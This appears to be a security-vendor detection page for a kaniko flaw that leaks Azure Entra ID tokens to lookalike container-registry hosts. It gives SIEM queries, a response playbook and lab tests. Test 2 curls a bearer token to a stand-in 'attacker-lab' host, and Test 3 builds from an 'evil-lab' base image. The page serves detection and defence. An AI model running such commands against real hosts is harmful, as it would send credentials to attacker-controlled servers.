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CVE-2026-105769

kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769)

Credential Access Initial Access Last updated:

Detects conditions and runtime behavior related to CVE-2026-105769, where the kaniko container image builder (github.com/chainguard-dev/kaniko before v1.25.20) may transmit the build's Azure Entra ID (Azure AD) access token to lookalike Azure Container Registry (ACR) hosts. The docker-credential-acr-env helper matched registry hostnames too loosely (CWE-346 Origin Validation Error / CWE-522 Insufficiently Protected Credentials), so a crafted base image or FROM reference pointing at an attacker-controlled host resembling *.azurecr.io could receive a valid bearer token usable against the victim's real ACR. This detection surfaces vulnerable kaniko versions in build pipelines and outbound token-bearing requests from kaniko/CI hosts to non-canonical ACR-lookalike destinations.

Vulnerability Intelligence

Theoretical

What is CVE-2026-105769 kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769)?

kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769) (CVE-2026-105769) maps to the Credential Access and Initial Access tactics — the adversary is trying to steal account names and passwords in MITRE ATT&CK.

This page provides production-ready detection logic for kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, DeviceNetworkEvents, DeviceProcessEvents. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Credential Access Initial Access
Microsoft Sentinel / Defender
kusto
// df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence
let canonicalAcr = dynamic([".azurecr.io", ".azurecr.cn", ".azurecr.us"]);
let acrLookalike = @'(?i)(azurecr|azur[e3]cr|acr-|azureecr|azurecr-)';
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("kaniko", "executor", "docker-credential-acr-env", "buildkitd")
    or InitiatingProcessCommandLine has_any ("kaniko", "docker-credential-acr-env")
| extend Host = tostring(RemoteUrl)
| where isnotempty(Host)
| where Host matches regex acrLookalike
| where not(Host endswith ".azurecr.io" or Host endswith ".azurecr.cn" or Host endswith ".azurecr.us")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessAccountName
| order by Timestamp desc

Flags network connections from kaniko/ACR credential-helper processes to hosts that resemble Azure Container Registry names but are not on the canonical azurecr.io/.cn/.us domains, which is where the leaked Entra ID token would be sent.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint DeviceNetworkEvents DeviceProcessEvents

Required Tables

DeviceNetworkEvents DeviceProcessEvents

False Positives

  • Legitimate private or air-gapped ACR mirror hosts that intentionally use non-canonical hostnames
  • Internal registry proxies or pull-through caches named to resemble azurecr for convenience
  • Security scanners or SBOM tools that probe registry hostnames during image analysis

Query fingerprint DF00-688dca95d1 · licence

Sigma logsource & community rules

The detection logic for kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769) (CVE-2026-105769) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Vulnerable kaniko version present in build image

    Expected signal: Process execution of /kaniko/executor with version output logged by EDR.

  2. Test 2 ACR credential helper invoked against lookalike host

    Expected signal: Network/DNS event from docker-credential-acr-env or curl to an azurecr-lookalike host not ending in .azurecr.io.

  3. Test 3 kaniko build with untrusted base image reference

    Expected signal: kaniko executor process event plus outbound resolution/connection to the lookalike registry host.


Response Playbook

Triage

  1. Identify the kaniko version in use on the affected build host or image (check the executor binary version or base image tag); confirm whether it is below v1.25.20 and therefore vulnerable.
  2. Review the destination hostname that triggered the alert and determine whether it is a legitimate internal ACR mirror or an unknown/attacker-controlled lookalike (e.g. azurecr vs azur3cr, extra suffixes, non-Azure IP ownership).
  3. Inspect the Dockerfile / build context FROM lines and --cache-repo / registry arguments passed to kaniko for references to the suspicious host.
  4. Check whether an Azure Entra ID access token or bearer credential was actually transmitted to the suspicious host by reviewing proxy/TLS SNI and HTTP Authorization-bearing request telemetry.

Containment

  1. Immediately revoke/rotate the Azure Entra ID (managed identity or service principal) credentials and any ACR tokens used by the affected build pipeline.
  2. Block egress from build/CI hosts to the identified lookalike host(s) at the firewall/proxy and quarantine the affected build runner.
  3. Pin or upgrade kaniko to v1.25.20 or later across all build pipelines and remove untrusted base image references.

Evidence Collection

  1. Capture the full kaniko build logs, command line, and the resolved FROM/base-image references for the affected build.
  2. Preserve network connection and DNS logs showing the connection to the lookalike host, including TLS SNI and any HTTP request metadata.

Escalation Criteria

  • ! Escalate to incident response if telemetry confirms a bearer token or Authorization header was sent to a non-canonical, externally-owned ACR-lookalike host.
  • ! Escalate if the leaked identity has push/pull or broader Azure permissions that could enable image poisoning or lateral movement into the Azure tenant.

Investigation Guide

Forensic Artifacts

  • > kaniko executor build logs and command-line arguments
  • > docker-credential-acr-env invocations and their resolved registry hostnames
  • > DNS resolution and network connection records from the build host to the lookalike domain

Tuning Guidance

Build an allowlist of your organization's legitimate ACR hostnames (including sanctioned internal mirrors and private DNS aliases) and exclude them from the detection to reduce noise. Focus alerting on connections to hosts that resemble azurecr but resolve to IPs outside Microsoft/Azure ownership. If you can observe HTTP Authorization headers or TLS SNI, prioritize events where a bearer token is actually present over mere DNS lookups.


Hunting Queries

Hunt for any kaniko/credential-helper connections to ACR-lookalike hosts not on canonical Azure domains over a wide lookback window.

Hunting — KQL
kql
// df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence
DeviceNetworkEvents | where InitiatingProcessCommandLine has_any ("kaniko","docker-credential-acr-env") | where RemoteUrl matches regex @'(?i)azurecr' and not(RemoteUrl endswith ".azurecr.io") | summarize count() by DeviceName, RemoteUrl
Hunting — SPL
spl
``` df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence ```
index=* (command="*kaniko*" OR command="*docker-credential-acr-env*") | regex dest_host="(?i)azurecr" | search NOT dest_host="*.azurecr.io" | stats count by host dest_host

Atomic Red Team Tests

Test 1 Vulnerable kaniko version present in build image
linux

Verifies a kaniko executor binary below the fixed v1.25.20 is present, representing exposure to CVE-2026-105769.

Command

bash
/kaniko/executor version 2>&1 | grep -E 'v1\.(2[0-4]|25\.(1?[0-9])\b)' && echo 'VULNERABLE kaniko version detected'

Cleanup

bash
echo 'no changes made'

Expected Telemetry

Process execution of /kaniko/executor with version output logged by EDR.

Expected Detection

Inventory/vuln detection flags the kaniko version as below 1.25.20.

Test 2 ACR credential helper invoked against lookalike host
linux

Simulates kaniko's ACR credential helper resolving credentials for a non-canonical ACR-lookalike hostname in a lab.

Command

bash
echo 'myregistry.azurecr.io.attacker-lab.example' | docker-credential-acr-env get || curl -s -H 'Authorization: Bearer TEST.TOKEN.LAB' https://myregistry.azurecr.io.attacker-lab.example/v2/ -o /dev/null

Cleanup

bash
echo 'no persistent changes'

Expected Telemetry

Network/DNS event from docker-credential-acr-env or curl to an azurecr-lookalike host not ending in .azurecr.io.

Expected Detection

Detection fires on the credential-helper/kaniko connection to a non-canonical ACR-lookalike destination.

Test 3 kaniko build with untrusted base image reference
linux

Runs a kaniko build whose FROM line points at an ACR-lookalike host in a sandboxed lab to exercise token-leak path.

Command

bash
printf 'FROM test.azurecr.io.evil-lab.example/base:latest\nRUN true\n' > /tmp/Dockerfile.lab && /kaniko/executor --dockerfile=/tmp/Dockerfile.lab --no-push --context=/tmp 2>&1 | tail -n 20

Cleanup

bash
rm -f /tmp/Dockerfile.lab

Expected Telemetry

kaniko executor process event plus outbound resolution/connection to the lookalike registry host.

Expected Detection

Detection correlates the kaniko process with egress to the ACR-lookalike host.

Related Detections

Blog posts about this detection

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